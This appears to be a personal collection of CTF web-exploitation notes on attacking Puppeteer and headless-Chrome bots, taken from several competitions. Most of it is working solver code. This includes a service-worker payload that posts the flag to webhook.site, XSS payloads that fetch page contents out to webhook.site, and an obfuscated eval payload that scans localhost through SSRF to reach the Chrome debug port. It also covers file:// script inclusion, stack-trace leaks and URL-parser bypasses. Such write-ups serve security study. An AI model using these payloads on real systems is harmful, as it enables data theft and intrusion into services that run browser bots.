Pupetter no internet escape and panic error
| Event Name | Haix la Chapelle |
| GitHub URL | - |
| Challenge Name | no-internet-for-you |
Attachments
References
The challenge idea is based on finding this issue: https://github.com/puppeteer/puppeteer/issues/13840
solve
import requests
import time
# config
HOST = "http://localhost:3000"
# setup request bucket
r = requests.post("https://webhook.site/token")
bucket_id = r.json()["uuid"]
bucket_url = f"https://webhook.site/{bucket_id}"
bucket_visit_url = f"https://webhook.site/#!/view/{bucket_id}"
print(f"[*] Using request bucket: {bucket_visit_url}")
# execute exploit
SW = f"""
self.addEventListener("install", () => {{
const params = new URL(self.location).searchParams;
const flag = params.get('flag');
fetch('{bucket_url}', {{ method: 'POST', body: flag }});
}});
"""
PIVOT = """
<script>
(async () => {
await navigator.serviceWorker.register("/uploads/sw.js?flag=" + await window.lookAtThisBeautifulFlag(), { scope: "/uploads/" });
})();
</script>
"""
TRIGGER = """
<script>
const body = document.createElement("body");
document.children[0].appendChild(body);
const pivotFrame = document.createElement("iframe");
pivotFrame.src = "http://localhost:3000/uploads/pivot.html";
body.appendChild(pivotFrame);
</script>
"""
for (name, content) in [("sw.js", SW), ("pivot.html", PIVOT), ("trigger.html", TRIGGER)]:
r = requests.post(f"{HOST}/upload/{name}", data=content, headers={"Content-Type": "application/x-www-form-urlencoded"})
r.raise_for_status()
print("[+]", r.text)
# visit trigger to start the exploit
r = requests.post(f"{HOST}/visit/trigger.html")
r.raise_for_status()
print("[+]", r.text)
# wait for the flag
while True:
# retrieve the flag from the request bucket
r = requests.get(f"https://webhook.site/token/{bucket_id}/requests?sorting=newest")
data = r.json()["data"]
if len(data) == 0:
time.sleep(1)
continue
content = data[0]["content"]
print(f"[*] FLAG: {content}")
breakUnitended, use window.playwright__binding("foobar") for crashing the playwringt and do leak from there
SSRF lead to Chrome Debug port Exploit
| Event Name | UniVsThreats CTF 2025 |
| GitHub URL | - |
| Challenge Name | Backrooms |
Attachments
References
solver
import base64
import httpx
import asyncio
URL = "<http://91.99.1.179:57291>"
# URL = "<http://localhost:8080>"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def home(self):
return self.c.get("/")
def post(self, user_id: str, content: str, location: str = "Earth"):
return self.c.post(f"/post", data={"content": content, "location": location}, cookies={"user": user_id})
def report(self, user_id: str, post_id: str):
return self.c.get(f"/share/{post_id}", cookies={"user": user_id})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.home()
await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
await api.c.get("/<script>fetch('<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d?'+document.body.innerHTML>)</script>")
user_id = res.cookies["user"]
# user_id = "constructor"
payload = r"""
let webhook = "<https://webhook.site/ef420343-a797-4c2a-939a-1e1f42789e7d>";
function report(data) {
fetch(webhook, {
method: "POST",
body: data,
});
}
function wsPromise(wsURL, onopen) {
return new Promise((resolve, reject) => {
window.ws = new WebSocket(wsURL);
ws.onerror = (e) => {
report("[ws.onerror] " + JSON.stringify(e));
reject(e);
};
ws.onmessage = (e) => { resolve(e); };
ws.onopen = () => ws.send(onopen);
});
}
let payload = `
let startPort = 30000;
let endPort = 66000;
let webhook = "${webhook}";
function report(data) {
fetch(webhook, {
method: "POST",
body: data
});
}
(async () => {
for (let port = startPort; port <= endPort; port++) {
let ssrfUrl = \\`http://127.0.0.1:80/admin/doHttpReq?url=http://localhost:\\${port}/json/new?file:///app/logs/log-USER_ID.htm&method=PUT\\`;
try {
let res = await fetch(ssrfUrl);
let text = await res.text();
if (!text.includes("Internal Server Error")) {
report(text)
}
} catch (e) {}
}
})();`;
iframe = document.createElement("iframe")
iframe.sandbox = "allow-scripts allow-modals"
iframe.srcdoc = "<script>eval(name)</script>"
iframe.name = payload
document.body.appendChild(iframe)
""".replace("USER_ID", user_id)
payload = base64.b64encode(payload.encode()).decode()
res = await api.post(user_id, "Hello, world!", "<img src=1 onerror=eval(atob(`" + payload + "`))>")
print(res.text)
res = await api.report(user_id, "1")
print(res.text)
if __name__ == "__main__":
asyncio.run(main())
it's xss -> csrf -> local file xss using pupetter debug port for csrf part i use iframe with sandbox to create null origin page
in puppeter you can change document element like this
ASIS CTF 2023 https://gist.github.com/arkark/5211049988c14af0e3450ff04acfc2a3#web-pupptear
await page.goto(url,{ timeout: 2000 }); await page.waitForFunction(flag=>{
let el = document.getElementById('flag')
if(!el) return false el.value = flag
return true },{ timeout: 2000 },flag)
solve:
<body><script>const HOOK_URL = "https://webhook.site/xxx";let sent = false;function hook() {
if (sent) return; sent = true; const e = new Error(); navigator.sendBeacon(HOOK_URL, e.stack);}
document.getElementById = hook;</script></body>
puppettear
ASIS CTF 2023
if flag is execute after the url param, we can steal the flag using this. but it must throw error first using somethign like getElementById
https://gist.github.com/arkark/5211049988c14af0e3450ff04acfc2a3#web-pupptear
https://github.com/puppeteer/puppeteer/blob/e41a2656d9e1f3f037b298457fbd6c6e08f5a371/packages/puppeteer-core/src/cdp/ExecutionContext.ts#L73
<script>// window.a = 1337setTimeout(()=>{
window['__ariaQuerySelector']('a').catch(e=>{
fetch('?a='+btoa(e.stack))
})
},1000)
</script>
sc:
await page.goto(url,{ timeout: 2000 }); await page.waitForFunction(flag=>{
let el = document.getElementById('flag')
if(!el) return false el.value = flag
return true },{ timeout: 2000 },flag)
If there’s no restriction in puppetter url we can do xss using file protocol
download:
<script>require = function() {}
</script><script src="file:///proc/self/cwd/bot.js"></script><script>fetch("https://webhook.site/1f1c6ea6-7d2c-42a3-8447-048a1b8df0c0?flag="+FLAG)
</script>```
and then
url=file:///root/Downloads/exploit.html ```
Something like this
page.on('request', (request) => {
requestCount++;
let pageURL = page.url();
if (!request.isNavigationRequest() || (pageURL !== 'about:blank' && pageURL !== request.url()) || requestCount !== 1) {
request.continue();
return;
}
const headers = request.headers();
headers['X-CTF-From'] = 'HeadlessChrome';
request.continue({
headers
});
});
can be bypassed by something like this
use container name to bypass Untitled
http://1@web\.line.ctf/../read?passCode=ENNF>,<¬eId=aa245147-9823-4566-ad01-ffacbfa6f667&next=http://101.200.202.216/
we can do something like this too
㎳g.line.ctf instead of msg.line.ctfLINE CTF 2024 - web/one-time-read (github.com)